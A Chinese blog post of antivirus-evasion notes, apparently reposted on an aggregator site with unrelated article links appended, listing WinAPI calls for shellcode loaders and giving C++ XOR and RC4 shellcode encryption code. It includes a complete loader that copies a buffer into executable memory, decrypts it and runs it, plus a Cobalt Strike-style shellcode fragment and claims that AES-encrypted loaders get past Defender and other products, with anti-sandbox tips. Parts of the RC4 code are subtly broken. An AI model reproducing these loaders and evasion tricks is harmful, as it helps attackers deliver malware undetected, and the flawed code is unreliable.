免杀笔记 -->API的整理Shellcode加密(过DeFender)

最近更新频率明显下降我懒,那么今天就来记录一下我们的一些常用的API的整理以及ShellCode的加密。

1.WinAPI整理

问我为什么要整理? 就是用起来的时候要左翻右翻

  :: 烦死了

1.VirtualAlloc

VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  1. 该API是LPVOID返回
  2. 其中的sizeof(buf)是你要申请的长度
  3. PAGE_EXECUTE_READWRITE这个是这块内存的属性,你可以申请一个不完整的(没那么容易被杀的,然后转换)

2.Memcpy

memcpy(p,buf,sizeof(buf));
  1. 其中p是目的地址
  2. buf是源地址
  3. sizeof(buf)是源地址的长度

3.CreateThread

CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)buffer, NULL, NULL, NULL);
  1. 第一个参数是安全属性,传入NULL默认是安全
  2. 第二个是默认堆栈大小,NULL是默认大小
  3. 第三个是指向线程执行的函数指针(存在强转)
  4. 第四个是要传递给函数的参数,NULL默认没有
  5. 第五个是默认控制线程的创建方式,NULL表示没有
  6. 最后一个是线程ID,NULL默认不需要返回ID
  7. 返回值就是HANDLE

4.VirtualProtect

VirtualProtect(p, length, PAGE_EXECUTE_READWRITE, NULL);
  1. 其中p是指向内存空间的指针
  2. 第三个参数是内存的属性

5.WriteProcessMemory

WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);
  1. 第一个参数是原来的进程句柄
  2. 第二个参数就指定目标进程中要写入数据的起始地址
  3. 然后第三个参数就是指向要写入目标进程的数据的缓冲区的指针
  4. 第四个就是写入的长度

6.WaitForSingleObject

WaitForSingleObject(handle, INFINITE)
  1. 第一个参数就是创建完进程的handle
  2. 第二个参数直接写INFINET或者-1就好了

7.GetProcAddress

GetProcAddress(HDMDODULE,L"FUNCNAME")
  1. 第一个参数就是获取到的dll的HMODULE
  2. 第二个参数就是你要找的函数名字

8.CreateFileW

CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  1. 第一个参数就是你要打开或者新建的文件(这样写的话就是默认exe同文件夹下面有cs.dll)
  2. 第二个参数就是属性(一般不会用到ALL)
  3. 第六个参数就是你要选择OPEN_EXISTING还是ALWAYS_CREATE

9.GetFileSize

GetFileSize(hFile, NULL)

这个很明显就是获取长度,这个无需多言

10.HeapAlloc

在堆上分配可读可写内存(不可执行!!!)

HeapAlloc(GetProcessHeap, HEAP_ZERO_MEMORY, length)

11.ReadFile

将文件内容写到缓冲区中

ReadFile(hFile, FileBuffer, length, &RealLength, NULL);
  1. 第一个参数是刚才的文件的句柄 
  2. 第二个是申请的内存指针
  3. 第三个是内存指针的长度
  4. 第四个是实际返回的长度(常用来判断读取到的文字)

2.ShellCode的加密

1.异或加密

这个就是可以说是ShellCode加密最简单的一集了,下面就来个最简单的加密代码

异或加密其实就是将每一个字符都和一个key或者说一个数异或,这就形成了密文。

#include<iostream>
#include<Windows.h>
using namespace std;void encrypt(unsigned char *p , DWORD length,DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}
void decrypt(unsigned char* p, DWORD length, DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41";int main()
{encrypt(buf, sizeof(buf), 12345);decrypt(buf, sizeof(buf), 12345);return 0;
}

 如果你想解密的话也很好办,直接再异或一次就好了(其实加密的代码完全可以再用一次)

当然了,你还可以搞难度大一点的,随机生成密钥,不过一般都不会这样操作,因为你随机生成密钥,总会有一方是无法操作的(或者说你把你的随机生成的加密密钥写到解密算法里面,不过这样感觉还不如直接传密钥)

2.RC4加密

这个加密还是用的比较多的,其实它的算法流程并没有变,变得只是我们的Key!!!

RC4的加解密需要经过两个流程

  1. RC4init
  2. RC4Cipher

我们一步一步来操作,先是RC4init

我们一般都会定义一个初始化的全局数组S 然后我们会对这个S有以下的操作

void RC4_init(unsigned char *p,unsigned char*key ,DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i ;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;char temp = p[i];p[i] = p[j];p[j] = temp;}
}

然后就是我们的RC4Cipher了,至于这两段代码为什么(我也布吉岛)

void RC4Cipher(unsigned char* p, char* file, unsigned char* key, DWORD length)
{int i = 0,j = 0;for (int k = 0; k< length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}

然后就是我们的完整代码了

#include<iostream>
#include<Windows.h>
using namespace std;unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = { 0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}void print(unsigned char* p, DWORD length)
{for (int i = 0; i < length; i++) {printf("%02x ", p[i]);}cout << endl;
}
int main()
{HANDLE hFile = CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD length = GetFileSize(hFile, NULL);unsigned char* FileBuffer = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);DWORD RealLength = 0;if (ReadFile(hFile, FileBuffer, length, &RealLength, NULL)){cout << "Read File Successfully" << endl;}RC4_init(s, key, sizeof(key));RC4Cipher(s, FileBuffer, key, sizeof(key));return 0;
}

我们也可以对一个shellcode加密并且解密上线看看效果,其实这里就是再执行这块内存之前,对他加了一次密(模仿提前加密好的ShellCode或者DLL),然后再对这块内存进行解密,并且执行

#include<iostream>
#include<Windows.h>
using namespace std;/* length: 891 bytes */
unsigned char buf[] = ""unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = {0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));RC4_init(s, key, sizeof(key));RC4Cipher(s,(unsigned char * )p, key, sizeof(key));RC4_init(s, key, sizeof(key));RC4Cipher(s, (unsigned char*)p, key, sizeof(key));((void(*)())p)();return 0;
}

3.AES加密

这个目前是最好的一种shellcode加密方式,无论是对比起RC4(Defender会杀),UUDI,IPV4这些

AES是能过Defender的!!!!(就算你不分离的情况下,就算熵很大!!!)

这里我就不贴代码了,但是我能给屏幕截图,理由大家都懂(不想让他这么快被杀)

然后就是来展示一下它的效果(这个我都没做分离,熵值其实挺大的)

这也说明我们Windows Defender的查杀特点

  1. 沙箱,当你将一个文件放进虚拟机的时候,首先就去defender的沙箱跑,所以这个loader第一步就是抗沙箱(当然,这个和360的QVM比不了)
  2. 内存扫描,当你进行危险操作dump lsass,注入shellcode的时候,defender就会对这块内存进行扫描,如果你是恶意的shellcode就会查杀(当然,这个和卡巴斯基也比不了)

除了用server的defender测试,还用了实体(我同学)的环境,也是能用过的!!!!

火绒

电脑管家

当然了,还有像UUID,IPV4,IPV6这种的加密方式,但是都不如AES加密强大,当然你也可以用RSA,总之加密方法有很多,自行选择。


当然,解密的密钥是不推荐直接写在loader里面,可以分离一个xml,txt,这样的文件(这样也有天然抗沙箱的作用),因为对于强的EDR会关注你的一些函数,然后在去hook你的解密后的内存,如果不做unhook等其他操作,就会被杀! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/50072.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis 7.x 系列【29】集群原理之自动故障转移

有道无术&#xff0c;术尚可求&#xff0c;有术无道&#xff0c;止于术。 本系列Redis 版本 7.2.5 源码地址&#xff1a;https://gitee.com/pearl-organization/study-redis-demo 文章目录 1. 概述2. 案例演示3. 工作原理3.1 故障检测3.2 排名3.3 延迟等待3.4 投票3.5 上位 1.…

大型语言模型的生物医学知识图优化提示生成

大型语言模型的生物医学知识图优化提示生成 https://arxiv.org/abs/2311.17330 https://github.com/BaranziniLab/KG_RAG 大型语言模型的生物医学知识图优化提示生成 摘要 KG-RAG框架&#xff0c;较好的结合了生物医学知识图谱SPOKE和LLM的优势。SPOKE是一个开放知识图谱&…

东京裸机云多IP服务器全面分析

东京裸机云多IP服务器是一种提供多IP地址分配和高性能网络服务的云计算解决方案&#xff0c;广泛应用于需要多IP管理和高稳定性的网络应用。下面将从几个方面具体介绍东京裸机云多IP服务器&#xff0c;rak部落为您整理发布东京裸机云多IP服务器的全面分析。 在数字化时代&#…

深入探讨:如何在Shopee平台上安全运营多个店铺?

在Shopee平台上&#xff0c;卖家如何避免店铺被关联&#xff1f;这是一个关乎账号安全和业务持续性的重要问题。Shopee严格规定每个卖家只能拥有一个店铺&#xff0c;以维护市场竞争公平和购物体验的稳定性。如果你开了多个店铺被平台判定关联&#xff0c;会面临冻结或封禁的风…

扫雷-C语言

一、前言&#xff1a; 众所周知&#xff0c;扫雷是一款大众类的益智小游戏&#xff0c;它的游戏目标是在最短的时间内根据点击格子出现的数字找出所有非雷格子&#xff0c;同时避免踩雷&#xff0c;踩到一个雷即全盘皆输。 今天&#xff0c;我们的目的就是通过C语言来实现一个简…

SparkSql oom原因以及参数调优+数据倾斜解决方案

1、Spark历史版本对比 spark1 vs spark2 vs spark3 1、spark1引入内存计算的理念&#xff0c;解决中间结果落盘导致的效率低下。在理想状况下性能可达到MR的100倍。虽然提高了一定的计算效率&#xff0c;但也带来了大量的内存管理问题&#xff0c;典型的如内存oom问题频发。…

javaEE-02-servlet

文章目录 Servlet 技术servlet程序示例通过实现Servlet接口实现Servlet程序通过继承 HttpServlet 实现 Servlet 程序 Servlet的声明周期 ServletConfig 类ServletContext 类HttpServletRequest 类请求的转发 HttpServletResponse 类请求重定向 HTTP 协议GET 请求Post请求常用请…

LINUX -exec函数族

1、功能&#xff1a; *让父子进程来执行不相干的操作 *能够替换进程地址空间的代码.text段 *执行另外的程序&#xff0c;不需要创建额外的的地址空间 *当前程序中调用另外一个应用程序 2、执行目录下的程序&#xff1a; *指定执行目录下的程序 int execl(const char *path,…

网工最常用的10个网络命令,但凡有一个不会用都不算资深网工。

号主&#xff1a;老杨丨11年资深网络工程师&#xff0c;更多网工提升干货&#xff0c;请关注公众号&#xff1a;网络工程师俱乐部 下午好&#xff0c;我的网工朋友。 当网工&#xff0c;日常工作不仅需要面对各种各样的网络设备和配置&#xff0c;还需要处理不断出现的网络故障…

SpringBoot集成Sharding-JDBC实现分库分表

本文已收录于专栏 《中间件合集》 目录 版本介绍背景介绍拆分方式集成并测试1.引入依赖2.创建库和表3.pom文件配置3.编写测试类Entity层Mapper接口MapperXML文件测试类 4.运行结果 自定义分片规则定义分片类编写pom文件 总结提升 版本介绍 SpringBoot的版本是&#xff1a; 2.3.…

使用DataGrip连接DM达梦数据库(手动添加达梦数据库驱动)

文章目录 一、准备达梦数据库驱动从官网下载驱动下载后&#xff0c;解压&#xff0c;本次选择&#xff0c;DmJdbcDriver18安装&#xff1a; 二、配置达梦驱动打开DataGrip&#xff0c;点击左上角的"Database Explorer"下的加号按钮&#xff0c;选择"Driver"…

秋招复习笔记——八股文部分:网络TCP

TCP 三次握手和四次挥手 TCP 基本认识 序列号&#xff1a;在建立连接时由计算机生成的随机数作为其初始值&#xff0c;通过 SYN 包传给接收端主机&#xff0c;每发送一次数据&#xff0c;就「累加」一次该「数据字节数」的大小。用来解决网络包乱序问题。 确认应答号&#xf…

数据隐私保护与区块链技术的结合:新兴趋势分析

在当今数字化时代&#xff0c;数据隐私保护成为了一个备受关注的重要话题。随着个人数据的不断生成和流通&#xff0c;如何有效保护用户的隐私成为了技术创新的一个重要方向。区块链技术作为一种去中心化、安全性高且可追溯的技术手段&#xff0c;正在逐渐成为解决数据隐私保护…

aiohttp 的使用

基本介绍 aiohttp 是一个基于 asyncio 的异步 HTTP 网络模块&#xff0c; 它即提供了服务端&#xff0c; 又提供了客户端。其中&#xff0c;我们用服务端可以搭建一个支持异步处理的服务器&#xff0c;这个服务器就是用来处理请求并返回响应的&#xff0c;类似于 Django , Fla…

Ansible的脚本-----playbook剧本【下】

目录 实战演练六&#xff1a;tags 模块 实战演练七&#xff1a;Templates 模块 实战演练六&#xff1a;tags 模块 可以在一个playbook中为某个或某些任务定义“标签”&#xff0c;在执行此playbook时通过ansible-playbook命令使用--tags选项能实现仅运行指定的tasks。 playboo…

一个注解解决重复提交问题

一、前言 ​ 在应用系统中提交是一个极为常见的功能&#xff0c;倘若不加管控&#xff0c;极易由于用户的误操作或网络延迟致使同一请求被发送多次&#xff0c;从而生成重复的数据记录。针对用户的误操作&#xff0c;前端通常会实现按钮的 loading 状态&#xff0c;以阻…

行业不同怎么选企业管理咨询公司

在选择企业管理咨询公司时&#xff0c;不同行业的企业往往面临着各自独特的挑战和需求。因此&#xff0c;选择一家适合自身行业特点、能够提供专业且有针对性的咨询服务的管理咨询公司至关重要。本文将从行业差异的角度出发&#xff0c;探讨如何根据企业所在行业的不同&#xf…

SQL-REGEX-常见正则表达式的使用

SQL-REGEX-常见正则表达式的使用 在SQL中&#xff0c;正则表达式&#xff08;Regex&#xff09;的使用可以帮助进行更灵活和精确的模式匹配和数据筛选。不同的数据库管理系统对于正则表达式的支持略有差异&#xff0c;但大体都是相似的。 Tips&#xff1a; 模式描述匹配内容…

【python】PyQt5中QCommandLinkButton的详细教程与应用实战

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

【Linux】socket 套接字 / 序列化与反序列化

目录 一. TCP 网络程序简易计算器1. 核心功能2. 程序结构3. 服务器初始化4. 服务器启动5. 业务处理6. 客户端初始化7. 客户端启动 二. 序列化与反序列化1. 协议2. 序列化与反序列化 一. TCP 网络程序 简易计算器 1. 核心功能 客户端向服务器发送数据, 服务器进行计算并返回结…